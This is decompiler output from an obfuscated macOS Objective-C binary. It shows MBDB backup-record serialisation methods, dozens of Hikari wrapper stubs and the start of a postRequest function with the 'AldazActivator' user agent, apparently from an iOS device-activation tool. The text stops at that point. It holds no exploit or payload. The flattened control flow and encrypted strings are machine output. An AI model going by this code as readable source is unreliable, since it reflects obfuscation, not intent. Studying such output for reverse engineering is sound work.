// 10025FDF0: using guessed type __CFString cfstr_4;
// 10025FE30: using guessed type __CFString cfstr_Lqu;
// 10029F1E0: using guessed type int dword_10029F1E0;
//----- (0000000100003DC6) ----------------------------------------------------
id __cdecl -[Mbdb toBytes](Mbdb *self, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
bool v5; // zf
int v6; // ecx
bool v7; // cf
int v8; // ecx
char v9; // cf
int v10; // ecx
int v11; // eax
__int64 *v12; // rax
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
id v20; // rax
__int64 *v21; // rax
NSArray *v22; // rax
NSArray *v23; // rax
id v24; // rax
int v25; // eax
id v26; // rax
id v27; // rax
__int64 v29; // [rsp+0h] [rbp-100h] BYREF
id v30; // [rsp+8h] [rbp-F8h]
_QWORD **v31; // [rsp+10h] [rbp-F0h]
__int64 v32; // [rsp+18h] [rbp-E8h]
__int64 v33; // [rsp+20h] [rbp-E0h]
id v34; // [rsp+28h] [rbp-D8h]
SEL v35; // [rsp+30h] [rbp-D0h]
_QWORD *v36; // [rsp+38h] [rbp-C8h]
const char *v37; // [rsp+40h] [rbp-C0h]
id v38; // [rsp+48h] [rbp-B8h]
id v39; // [rsp+50h] [rbp-B0h]
__int64 v40; // [rsp+58h] [rbp-A8h]
unsigned int v41; // [rsp+64h] [rbp-9Ch]
int v42; // [rsp+68h] [rbp-98h]
int v43; // [rsp+6Ch] [rbp-94h] BYREF
__int64 *v44; // [rsp+70h] [rbp-90h]
SEL v45; // [rsp+78h] [rbp-88h]
id v46; // [rsp+80h] [rbp-80h]
id v47; // [rsp+88h] [rbp-78h]
__int64 v48; // [rsp+90h] [rbp-70h]
__int64 *v49; // [rsp+98h] [rbp-68h]
id v50; // [rsp+A0h] [rbp-60h]
id v51; // [rsp+A8h] [rbp-58h]
__int64 *v52; // [rsp+B0h] [rbp-50h]
id v53; // [rsp+B8h] [rbp-48h]
bool v54; // [rsp+C4h] [rbp-3Ch]
bool v55; // [rsp+C5h] [rbp-3Bh]
bool v56; // [rsp+C6h] [rbp-3Ah]
char v57; // [rsp+C7h] [rbp-39h]
int *v58; // [rsp+C8h] [rbp-38h]
__int64 v59; // [rsp+D0h] [rbp-30h]
v59 = -1;
v41 = 1229323104;
v43 = -2137611251;
v58 = &v43;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v43 <= -95563623 )
{
if ( v43 > -836677286 )
{
if ( v43 > -619226156 )
{
if ( v43 <= -287261171 )
{
if ( v43 <= -421025562 )
{
if ( v43 == -619226155 )
{
*v58 = -1918795485;
}
else if ( v43 == -478580087 )
{
*v58 = -2083684912;
}
}
else
{
switch ( v43 )
{
case -421025561:
*v58 = 513292657;
break;
case -349645911:
v7 = 1;
v3 = -2073806012;
LABEL_166:
v8 = 1833137265;
LABEL_207:
if ( !v7 )
v3 = v8;
goto LABEL_220;
case -340875357:
v7 = 1;
v3 = -1918795485;
v8 = -619226155;
goto LABEL_207;
}
}
}
else if ( v43 > -166242573 )
{
switch ( v43 )
{
case -166242572:
v24 = HikariFunctionWrapper_319(*(void **)(*v36 + 8 * v48), v37);
objc_retainAutoreleasedReturnValue(v24);
*v58 = 1535615270;
break;
case -152315901:
*v58 = 1594057663;
v40 = 0;
break;
case -144560169:
HikariFunctionWrapper_315(v53, v45);
objc_release(v50);
*(_WORD *)v49 = 5;
objc_msgSend(v53, "appendBytes:length:", v49, 2);
v12 = v52;
*((_OWORD *)v52 + 3) = 0;
*((_OWORD *)v12 + 2) = 0;
*((_OWORD *)v12 + 1) = 0;
*(_OWORD *)v12 = 0;
v13 = HikariFunctionWrapper_317(self, "records");
objc_retainAutoreleasedReturnValue(v13);
*v58 = 1511082435;
break;
}
}
else
{
switch ( v43 )
{
case -287261170:
*v58 = -2128197424;
break;
case -236137011:
goto LABEL_124;
case -201701200:
v56 = v38 == 0;
v7 = 1;
v3 = 880351248;
v8 = -201701200;
goto LABEL_207;
}
}
}
else if ( v43 <= -707888687 )
{
if ( v43 <= -764695810 )
{
if ( v43 == -836677285 )
{
v7 = 0;
aLqu[1] = 98;
v57 = 27;
v3 = -880567256;
v8 = 341566619;
goto LABEL_207;
}
if ( v43 == -808068596 )
*v58 = 939673046;
}
else
{
switch ( v43 )
{
case -764695809:
v9 = 1;
v3 = 2094389412;
v10 = -663351879;
goto LABEL_218;
case -718591931:
*v58 = 1815612964;
break;
case -709717377:
objc_release(v53);
*v58 = -1515804738;
break;
}
}
}
else if ( v43 > -663351880 )
{
switch ( v43 )
{
case -663351879:
v7 = 0;
v3 = 2094389412;
v8 = 310636931;
goto LABEL_207;
case -636444315:
*v58 = -1598432528;
break;
case -623882434:
v2 = 0;
v3 = 2078738109;
v4 = 1255640293;
goto LABEL_201;
}
}
else
{
switch ( v43 )
{
case -707888686:
v7 = 1;
v3 = -1718004115;
v8 = -672963659;
goto LABEL_207;
case -695605236:
v2 = 0;
v3 = 1511082435;
v4 = -144560169;
goto LABEL_201;
case -672963659:
objc_release(v51);
objc_msgSend(v53, "copy");
*v58 = -1718004115;
break;
}
}
}
else if ( v43 > -1530314371 )
{
if ( v43 <= -1202637283 )
{
if ( v43 <= -1494486213 )
{
if ( v43 == -1530314370 )
{
*v58 = 1946401423;
}
else if ( v43 == -1515804738 )
{
objc_release(v53);
v5 = 0;
v3 = -709717377;
v6 = 585144407;
goto LABEL_180;
}
}
else
{
switch ( v43 )
{
case -1494486212:
aLqu[2] = 127 - v57;
aLqu[3] = 98;
aLqu[4] = 0;
LABEL_185:
*v58 = 1528456023;
break;
case -1424988608:
goto LABEL_185;
case -1309102074:
v31 = (_QWORD **)(v52 + 2);
v32 = *(_QWORD *)v52[2];
*v58 = -636444315;
break;
}
}
}
else if ( v43 > -909861437 )
{
switch ( v43 )
{
case -909861436:
*v58 = 1136864607;
v39 = v30;
break;
case -880567256:
aLqu[1] = 98;
*v58 = -836677285;
break;
case -854268954:
objc_release(v46);
v55 = v48 + 1 == (_QWORD)v34;
v33 = v48 + 1;
*v58 = 1911008371;
break;
}
}
else
{
switch ( v43 )
{
case -1202637282:
*v58 = -1671007009;
break;
case -1036600540:
*v58 = 905684091;
break;
case -958956405:
v2 = 0;
v3 = -95563622;
v4 = 83300408;
goto LABEL_201;
}
}
}
else if ( v43 <= -1918795486 )
{
if ( v43 <= -2083684913 )
{
if ( v43 == -2137611251 )
{
v7 = v41 < 0xD956B449;
v3 = 2097940499;
v8 = 1672197959;
goto LABEL_207;
}
if ( v43 == -2128197424 )
{
v7 = 1;
v3 = -349645911;
goto LABEL_166;
}
}
else
{
switch ( v43 )
{
case -2083684912:
v54 = v42 == 0;
v5 = 0;
v3 = -478580087;
v6 = -287261170;
LABEL_180:
if ( !v5 )
v3 = v6;
goto LABEL_220;
case -2073806012:
v5 = !v54;
v3 = 1815612964;
v6 = -623882434;
goto LABEL_180;
case -2059731186:
v2 = 0;
v37 = "toBytes";
v3 = -152315901;
v4 = 1085274873;
goto LABEL_201;
}
}
}
else if ( v43 > -1671007010 )
{
switch ( v43 )
{
case -1671007009:
v2 = 0;
v3 = -2083684912;
v4 = -478580087;
goto LABEL_201;
case -1612808567:
HikariFunctionWrapper_311(v51);
*v58 = -764695809;
break;
case -1598432528:
v2 = 0;
v3 = 1946401423;
v4 = -1530314370;
goto LABEL_201;
}
}
else
{
switch ( v43 )
{
case -1918795485:
v2 = 0;
v3 = 1867424528;
v4 = -619226155;
goto LABEL_201;
case -1718004115:
objc_release(v51);
v20 = objc_msgSend(v53, "copy");
v7 = 0;
v47 = v20;
v3 = -672963659;
v8 = -1036600540;
goto LABEL_207;
case -1713983191:
v35 = "countByEnumeratingWithState:objects:count:";
v30 = objc_msgSend(v51, "countByEnumeratingWithState:objects:count:", v52, v44, 16);
v2 = v30 == 0;
v3 = 1988979518;
v4 = -707888686;
goto LABEL_201;
}
}
}
if ( v43 <= 1319492808 )
break;
if ( v43 > 1815612963 )
{
if ( v43 <= 1946401422 )
{
if ( v43 <= 1867424527 )
{
if ( v43 == 1815612964 )
{
v7 = 0;
v3 = 1347488690;
v8 = 661820399;
goto LABEL_207;
}
if ( v43 == 1833137265 )
*v58 = -349645911;
}
else
{
switch ( v43 )
{
case 1867424528:
v25 = 1136864607;
if ( v56 )
v25 = -707888686;
*v58 = v25;
v39 = v38;
break;
case 1885381601:
*v58 = 842990892;
break;
case 1911008371:
v11 = 1594057663;
if ( v55 )
v11 = -236137011;
*v58 = v11;
v40 = v33;
break;
}
}
}
else if ( v43 > 2094389411 )
{
switch ( v43 )
{
case 2094389412:
*v58 = -663351879;
break;
case 2097940499:
v7 = 0;
v42 = dword_10029F1E4;
v3 = 2097940499;
v8 = -1202637282;
goto LABEL_207;
case 2098701915:
v14 = objc_msgSend(v51, v35, v52, v44, 16);
v9 = 1;
v38 = v14;
v3 = 1811385006;
v10 = 105157404;
goto LABEL_218;
}
}
else
{
switch ( v43 )
{
case 1946401423:
v36 = v52 + 1;
*v58 = 1357783894;
break;
case 1988979518:
v7 = 1;
v3 = -1309102074;
v8 = 111503920;
goto LABEL_207;
case 2078738109:
v7 = 1;
aLqu[0] = 109;
v3 = -808068596;
v8 = 1255640293;
goto LABEL_207;
}
}
}
else if ( v43 <= 1535615269 )
{
if ( v43 <= 1357783893 )
{
if ( v43 == 1319492809 )
{
*v58 = -695605236;
}
else if ( v43 == 1347488690 )
{
dword_10029F1E4 = 1;
v15 = +[NSMutableData data](&OBJC_CLASS___NSMutableData, "data");
objc_retainAutoreleasedReturnValue(v15);
v16 = objc_msgSend(CFSTR("LQU\xA5"), "dataUsingEncoding:", 4);
objc_retainAutoreleasedReturnValue(v16);
*v58 = 661820399;
}
}
else
{
switch ( v43 )
{
case 1357783894:
*v58 = 1312047157;
break;
case 1511082435:
objc_msgSend(v53, v45, v50);
objc_release(v50);
*(_WORD *)v49 = 5;
HikariFunctionWrapper_309(v53, "appendBytes:length:");
v21 = v52;
*((_OWORD *)v52 + 3) = 0;
*((_OWORD *)v21 + 2) = 0;
*((_OWORD *)v21 + 1) = 0;
*(_OWORD *)v21 = 0;
v22 = -[Mbdb records](self, "records");
v23 = objc_retainAutoreleasedReturnValue(v22);
v9 = 0;
v51 = v23;
v3 = 244222280;
v10 = 1511082435;
goto LABEL_218;
case 1528456023:
v2 = 0;
aLqu[2] = v57 ^ 0x7F;
aLqu[3] = 98;
aLqu[4] = 0;
v3 = -718591931;
v4 = -1494486212;
goto LABEL_201;
}
}
}
else if ( v43 > 1672197958 )
{
switch ( v43 )
{
case 1672197959:
*v58 = 2097940499;
break;
case 1760623212:
objc_release(v46);
*v58 = -854268954;
break;
case 1811385006:
HikariFunctionWrapper_321(v51, v35);
LABEL_124:
*v58 = 2098701915;
break;
}
}
else
{
switch ( v43 )
{
case 1535615270:
v26 = HikariFunctionWrapper_313(*(void **)(*v36 + 8 * v48), v37);
v27 = objc_retainAutoreleasedReturnValue(v26);
v9 = 1;
v46 = v27;
v3 = 1535615270;
v10 = -421025561;
LABEL_218:
if ( v9 )
v3 = v10;
LABEL_220:
*v58 = v3;
break;
case 1594057663:
v48 = v40;
v2 = **v31 == v32;
v3 = -1612808567;
v4 = 514079977;
LABEL_201:
if ( v2 )
v3 = v4;
goto LABEL_220;
case 1630856447:
v5 = 0;
v3 = 1760623212;
v6 = -854268954;
goto LABEL_180;
}
}
}
if ( v43 > 661820398 )
break;
if ( v43 <= 244222279 )
{
if ( v43 <= 105157403 )
{
if ( v43 == -95563622 )
{
objc_autoreleaseReturnValue(v47);
v7 = 0;
v3 = -95563622;
v8 = 1254485240;
goto LABEL_207;
}
if ( v43 == 83300408 )
{
objc_autoreleaseReturnValue(v47);
*v58 = -95563622;
}
}
else
{
switch ( v43 )
{
case 105157404:
*v58 = 108644625;
break;
case 108644625:
v7 = 1;
v3 = -201701200;
v8 = 847892175;
goto LABEL_207;
case 111503920:
*v58 = -1309102074;
break;
}
}
}
else if ( v43 > 513292656 )
{
switch ( v43 )
{
case 513292657:
objc_msgSend(v53, v45, v46);
*v58 = 1630856447;
break;
case 514079977:
v7 = 1;
v3 = 1535615270;
v8 = -166242572;
goto LABEL_207;
case 585144407:
*v58 = -958956405;
break;
}
}
else
{
switch ( v43 )
{
case 244222280:
*v58 = -1713983191;
break;
case 310636931:
*v58 = 514079977;
break;
case 341566619:
*v58 = -1424988608;
break;
}
}
}
if ( v43 > 939673045 )
break;
if ( v43 <= 847892174 )
{
if ( v43 == 661820399 )
{
dword_10029F1E4 = 1;
v49 = &v29 - 2;
v52 = &v29 - 8;
v44 = &v29 - 16;
v17 = +[NSMutableData data](&OBJC_CLASS___NSMutableData, "data");
v53 = objc_retainAutoreleasedReturnValue(v17);
v18 = objc_msgSend(CFSTR("LQU\xA5"), "dataUsingEncoding:", 4);
v19 = objc_retainAutoreleasedReturnValue(v18);
v9 = 1;
v50 = v19;
v45 = "appendData:";
v3 = 1347488690;
v10 = 1319492809;
goto LABEL_218;
}
if ( v43 == 842990892 )
{
v5 = 0;
v3 = 1885381601;
v6 = -909861436;
goto LABEL_180;
}
}
else
{
switch ( v43 )
{
case 847892175:
*v58 = -201701200;
break;
case 880351248:
*v58 = -340875357;
break;
case 905684091:
v9 = 0;
v3 = -1515804738;
v10 = -709717377;
goto LABEL_218;
}
}
}
if ( v43 > 1254485239 )
break;
switch ( v43 )
{
case 939673046:
v2 = 0;
v3 = -836677285;
v4 = -880567256;
goto LABEL_201;
case 1085274873:
LABEL_57:
*v58 = -2059731186;
break;
case 1136864607:
v34 = v39;
goto LABEL_57;
}
}
if ( v43 != 1255640293 )
break;
aLqu[0] = 109;
*v58 = 2078738109;
}
if ( v43 == 1312047157 )
{
v2 = 0;
v3 = 842990892;
v4 = 1885381601;
goto LABEL_201;
}
}
while ( v43 != 1254485240 );
return v47;
}
// 10025FE70: using guessed type __CFString cfstr_Lqu_0;
// 10029F1E4: using guessed type int dword_10029F1E4;
//----- (0000000100005471) ----------------------------------------------------
NSArray *__cdecl -[Mbdb records](Mbdb *self, SEL a2)
{
NSArray **p_records; // rdi
int v3; // eax
NSArray **v5; // [rsp+0h] [rbp-48h]
NSArray *v6; // [rsp+8h] [rbp-40h]
int v7; // [rsp+14h] [rbp-34h] BYREF
int *v8; // [rsp+18h] [rbp-30h]
v7 = -1672909777;
v8 = &v7;
p_records = &self->_records;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > 889816790 )
{
if ( v7 > 1993124285 )
{
switch ( v7 )
{
case 1993124286:
v3 = 2087243495;
goto LABEL_27;
case 2087243495:
v3 = -471536658;
LABEL_27:
*v8 = v3;
break;
case 2127823204:
*v8 = -652144308;
break;
}
}
else
{
switch ( v7 )
{
case 889816791:
*v8 = 2087243495;
break;
case 1140229203:
v3 = -652144308;
goto LABEL_27;
case 1915227015:
*v8 = 854094293;
break;
}
}
}
if ( v7 > -471536659 )
break;
switch ( v7 )
{
case -1672909777:
v3 = 854094293;
goto LABEL_27;
case -1353863358:
*v8 = 1140229203;
break;
case -652144308:
v6 = *v5;
v3 = 860347589;
goto LABEL_27;
}
}
if ( v7 == 854094293 )
{
v5 = p_records;
v3 = -1353863358;
goto LABEL_27;
}
if ( v7 != 860347589 )
break;
*v8 = 1993124286;
}
}
while ( v7 != -471536658 );
return v6;
}
// 100005600: conditional instruction was optimized away because %var_38.4==A2436625
// 100005596: variable 'v5' is possibly undefined
// 100005725: variable 'v6' is possibly undefined
//----- (0000000100005734) ----------------------------------------------------
void __cdecl -[Mbdb setRecords:](Mbdb *self, SEL a2, id a3)
{
int v4; // eax
char v5; // cf
int v6; // ecx
NSArray *records; // [rsp+0h] [rbp-40h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = 558552570;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 > 262710812 )
{
if ( v8 > 1224563786 )
{
switch ( v8 )
{
case 1224563787:
objc_release(records);
*v9 = 1382819416;
break;
case 1358935978:
objc_retain(a3);
self->_records = (NSArray *)a3;
*v9 = -1330924555;
break;
case 1382819416:
*v9 = -720937939;
break;
}
}
else
{
switch ( v8 )
{
case 262710813:
*v9 = -1223783259;
break;
case 558552570:
v4 = -1330924555;
goto LABEL_29;
case 625479199:
objc_release(records);
*v9 = 1224563787;
break;
}
}
}
if ( v8 <= -1223783260 )
break;
switch ( v8 )
{
case -1223783259:
v5 = 0;
v4 = -1223783259;
v6 = -1840458011;
goto LABEL_24;
case -720937939:
v4 = -1223783259;
goto LABEL_29;
case -178597237:
*v9 = -1631910161;
break;
}
}
if ( v8 != -1631910161 )
break;
v5 = 1;
v4 = 1224563787;
v6 = 625479199;
LABEL_24:
if ( !v5 )
v4 = v6;
LABEL_29:
*v9 = v4;
}
if ( v8 == -1330924555 )
{
objc_retain(a3);
records = self->_records;
self->_records = (NSArray *)a3;
v4 = -178597237;
goto LABEL_29;
}
}
while ( v8 != -1840458011 );
}
// 1000059DC: conditional instruction was optimized away because %var_38.4==5046AC41
// 1000057F6: variable 'records' is possibly undefined
//----- (0000000100005A1D) ----------------------------------------------------
void __cdecl -[Mbdb .cxx_destruct](Mbdb *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+0h] [rbp-40h]
int v4; // [rsp+Ch] [rbp-34h] BYREF
int *v5; // [rsp+10h] [rbp-30h]
location = (id *)&self->_records;
v4 = -1915961608;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 <= 450408158 )
{
if ( v4 > -1051232985 )
{
if ( v4 == -1051232984 )
{
objc_storeStrong(location, 0);
v2 = -488914031;
LABEL_19:
*v5 = v2;
}
else if ( v4 == -488914031 )
{
*v5 = 1322207081;
}
}
else
{
if ( v4 == -1915961608 )
{
v2 = -1051232984;
goto LABEL_19;
}
if ( v4 == -1395803078 )
{
v2 = 450408159;
goto LABEL_19;
}
}
}
if ( v4 <= 1322207080 )
break;
if ( v4 == 1322207081 )
{
v2 = -1395803078;
goto LABEL_19;
}
if ( v4 == 1525867097 )
*v5 = -1395803078;
}
if ( v4 != 550884674 )
break;
objc_storeStrong(location, 0);
*v5 = -1051232984;
}
}
while ( v4 != 450408159 );
}
// 100005C11: conditional instruction was optimized away because ebx.4==57FDE66A
//----- (0000000100005C40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005C50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_289(void *a1, const char *a2)
{
return HikariFunctionWrapper(a1, a2);
}
//----- (0000000100005C60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_290(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005C70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_291(void *a1, const char *a2)
{
return HikariFunctionWrapper_290(a1, a2);
}
//----- (0000000100005C80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_292(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005C90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_293(void *a1, const char *a2)
{
return HikariFunctionWrapper_292(a1, a2);
}
//----- (0000000100005CA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_294(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100005CB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_295(objc_class *a1)
{
return HikariFunctionWrapper_294(a1);
}
//----- (0000000100005CC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_296(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005CD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_297(void *a1, const char *a2)
{
return HikariFunctionWrapper_296(a1, a2);
}
//----- (0000000100005CE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_298(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005CF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_299(void *a1, const char *a2)
{
return HikariFunctionWrapper_298(a1, a2);
}
//----- (0000000100005D00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_300(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005D10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_301(void *a1, const char *a2)
{
return HikariFunctionWrapper_300(a1, a2);
}
//----- (0000000100005D20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_302(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005D30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_303(void *a1, const char *a2)
{
return HikariFunctionWrapper_302(a1, a2);
}
//----- (0000000100005D40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_304(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100005D50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_305(void *a1, const char *a2)
{
HikariFunctionWrapper_304(a1, a2);
}
//----- (0000000100005D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_306(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005D70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_307(void *a1, const char *a2)
{
return HikariFunctionWrapper_306(a1, a2);
}
//----- (0000000100005D80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_308(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100005D90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_309(void *a1, const char *a2)
{
HikariFunctionWrapper_308(a1, a2);
}
//----- (0000000100005DA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_310(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (0000000100005DB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_311(void *a1)
{
HikariFunctionWrapper_310(a1);
}
//----- (0000000100005DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_312(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_313(void *a1, const char *a2)
{
return HikariFunctionWrapper_312(a1, a2);
}
//----- (0000000100005DE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_314(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100005DF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_315(void *a1, const char *a2)
{
HikariFunctionWrapper_314(a1, a2);
}
//----- (0000000100005E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_316(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_317(void *a1, const char *a2)
{
return HikariFunctionWrapper_316(a1, a2);
}
//----- (0000000100005E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_318(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_319(void *a1, const char *a2)
{
return HikariFunctionWrapper_318(a1, a2);
}
//----- (0000000100005E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_320(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100005E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_321(void *a1, const char *a2)
{
return HikariFunctionWrapper_320(a1, a2);
}
//----- (0000000100005E60) ----------------------------------------------------
id __fastcall postRequest(void *a1, __int64 a2)
{
char v2; // cf
int v3; // eax
int v4; // ecx
bool v5; // cf
int v6; // ecx
id v7; // rax
id v8; // rax
id v9; // rax
bool v10; // zf
int v11; // ecx
id v12; // rax
id v13; // r13
id v14; // r14
void *v15; // rax
id v16; // r15
NSMutableData *v17; // rax
NSMutableData *v18; // rax
id v19; // rax
NSString *v20; // rax
id v21; // r14
NSURL *v22; // rax
NSURL *v23; // r15
id v24; // rax
NSMutableData *v25; // rax
id v26; // rax
NSString *v27; // rax
id v28; // rax
__int64 v30; // [rsp+0h] [rbp-F0h] BYREF
id v31; // [rsp+8h] [rbp-E8h]
id v32; // [rsp+10h] [rbp-E0h]
SEL v33; // [rsp+18h] [rbp-D8h]
id v34; // [rsp+20h] [rbp-D0h]
SEL v35; // [rsp+28h] [rbp-C8h]
id v36; // [rsp+30h] [rbp-C0h]
Class v37; // [rsp+38h] [rbp-B8h]
SEL v38; // [rsp+40h] [rbp-B0h]
void *v39; // [rsp+48h] [rbp-A8h]
__int64 v40; // [rsp+50h] [rbp-A0h]
unsigned int v41; // [rsp+5Ch] [rbp-94h]
int v42; // [rsp+60h] [rbp-90h]
int v43; // [rsp+64h] [rbp-8Ch] BYREF
id v44; // [rsp+68h] [rbp-88h]
id v45; // [rsp+70h] [rbp-80h]
id v46; // [rsp+78h] [rbp-78h]
id v47; // [rsp+80h] [rbp-70h]
id v48; // [rsp+88h] [rbp-68h]
id v49; // [rsp+90h] [rbp-60h]
id v50; // [rsp+98h] [rbp-58h]
id *v51; // [rsp+A0h] [rbp-50h]
id *v52; // [rsp+A8h] [rbp-48h]
id v53; // [rsp+B0h] [rbp-40h]
bool v54; // [rsp+BDh] [rbp-33h]
bool v55; // [rsp+BEh] [rbp-32h]
char v56; // [rsp+BFh] [rbp-31h]
int *v57; // [rsp+C0h] [rbp-30h]
v40 = a2;
v50 = a1;
v41 = 1;
v43 = -379763237;
v57 = &v43;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v43 <= -50602142 )
{
if ( v43 <= -1208860050 )
{
if ( v43 <= -1721826123 )
{
if ( v43 > -2006515764 )
{
switch ( v43 )
{
case -2006515763:
objc_msgSend(v48, v38);
v3 = 1360023504;
goto LABEL_140;
case -1868555847:
*v57 = -1655142338;
break;
case -1792750350:
v10 = !v54;
v3 = 1671794988;
v11 = -443768573;
goto LABEL_120;
}
}
else
{
switch ( v43 )
{
case -2122654948:
goto LABEL_53;
case -2060246267:
v37 = (Class)&OBJC_CLASS___NSString;
*v57 = 1307581504;
break;
case -2022779590:
v8 = objc_alloc(v37);
v31 = HikariFunctionWrapper_318_0(v8, "initWithData:encoding:");
v38 = "statusCode";
v3 = 1900868283;
goto LABEL_140;
}
}
}
else if ( v43 <= -1655142339 )
{
switch ( v43 )
{
case -1721826122:
v10 = !v55;
v3 = -834746141;
v11 = -2060246267;
LABEL_120:
if ( !v10 )
v3 = v11;
LABEL_140:
*v57 = v3;
break;
case -1689523976:
v24 = HikariFunctionWrapper_328(v37);
objc_msgSend(v24, "initWithData:encoding:", v47, 4);
*v57 = -2022779590;
break;
case -1687416556:
*v57 = 1098674219;
break;
}
}
else if ( v43 > -1419124893 )
{
if ( v43 == -1419124892 )
{
*v57 = -1013703034;
}
else if ( v43 == -1377468629 )
{
v2 = 1;
v3 = 1319451106;
v4 = 914401493;
goto LABEL_138;
}
}
else if ( v43 == -1655142338 )
{
NSLog(CFSTR("\x9D\x97b\x98K\x97\x80\xDF\x2Ej}\x04\xC7\xFC\x80\x91\xEF\xDB\xCB\v\xA6pq\x91"), v36);
objc_release(v36);
*v57 = 1852745600;
v39 = 0;
}
else if ( v43 == -1459172725 )
{
v5 = 1;
v3 = 1941590628;
v6 = -2006515763;
goto LABEL_134;
}
}
else if ( v43 > -491328831 )
{
if ( v43 <= -432537447 )
{
switch ( v43 )
{
case -491328830:
objc_release(v47);
objc_release(v48);
objc_release(v49);
objc_release(v53);
objc_release(v46);
objc_release(v45);
objc_autoreleaseReturnValue(v44);
LABEL_130:
*v57 = -50602141;
break;
case -476391741:
dword_10029F1F4 = 1;
v51 = (id *)(&v30 - 2);
v52 = (id *)(&v30 - 2);
objc_retain(v50);
v25 = +[NSMutableData dataWithData:](&OBJC_CLASS___NSMutableData, "dataWithData:", v40);
v45 = objc_retainAutoreleasedReturnValue(v25);
v26 = objc_msgSend(v45, "length");
v27 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xCB\x6E\xD5\x0B"),
v26);
v46 = objc_retainAutoreleasedReturnValue(v27);
v28 = objc_alloc((Class)&OBJC_CLASS___NSMutableURLRequest);
v2 = 1;
v32 = v28;
v33 = "init";
v3 = 598087393;
v4 = -922140207;
LABEL_138:
if ( !v2 )
v3 = v4;
goto LABEL_140;
case -443768573:
v10 = 0;
v3 = 883859305;
v11 = 776150974;
goto LABEL_120;
}
}
else if ( v43 > -345309987 )
{
if ( v43 == -345309986 )
{
v5 = 0;
v3 = 1797132226;
v6 = 1828916105;
goto LABEL_134;
}
if ( v43 == -70648245 )
*v57 = -1182751889;
}
else if ( v43 == -432537446 )
{
*v57 = -2122654948;
}
else if ( v43 == -379763237 )
{
v5 = v41 < 0x666050D0;
v3 = -1419124892;
v6 = -1013703034;
goto LABEL_134;
}
}
else if ( v43 <= -1128658820 )
{
switch ( v43 )
{
case -1208860049:
asc_100260298[4] = v56 ^ 0xA9;
strcpy(asc_100260260, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
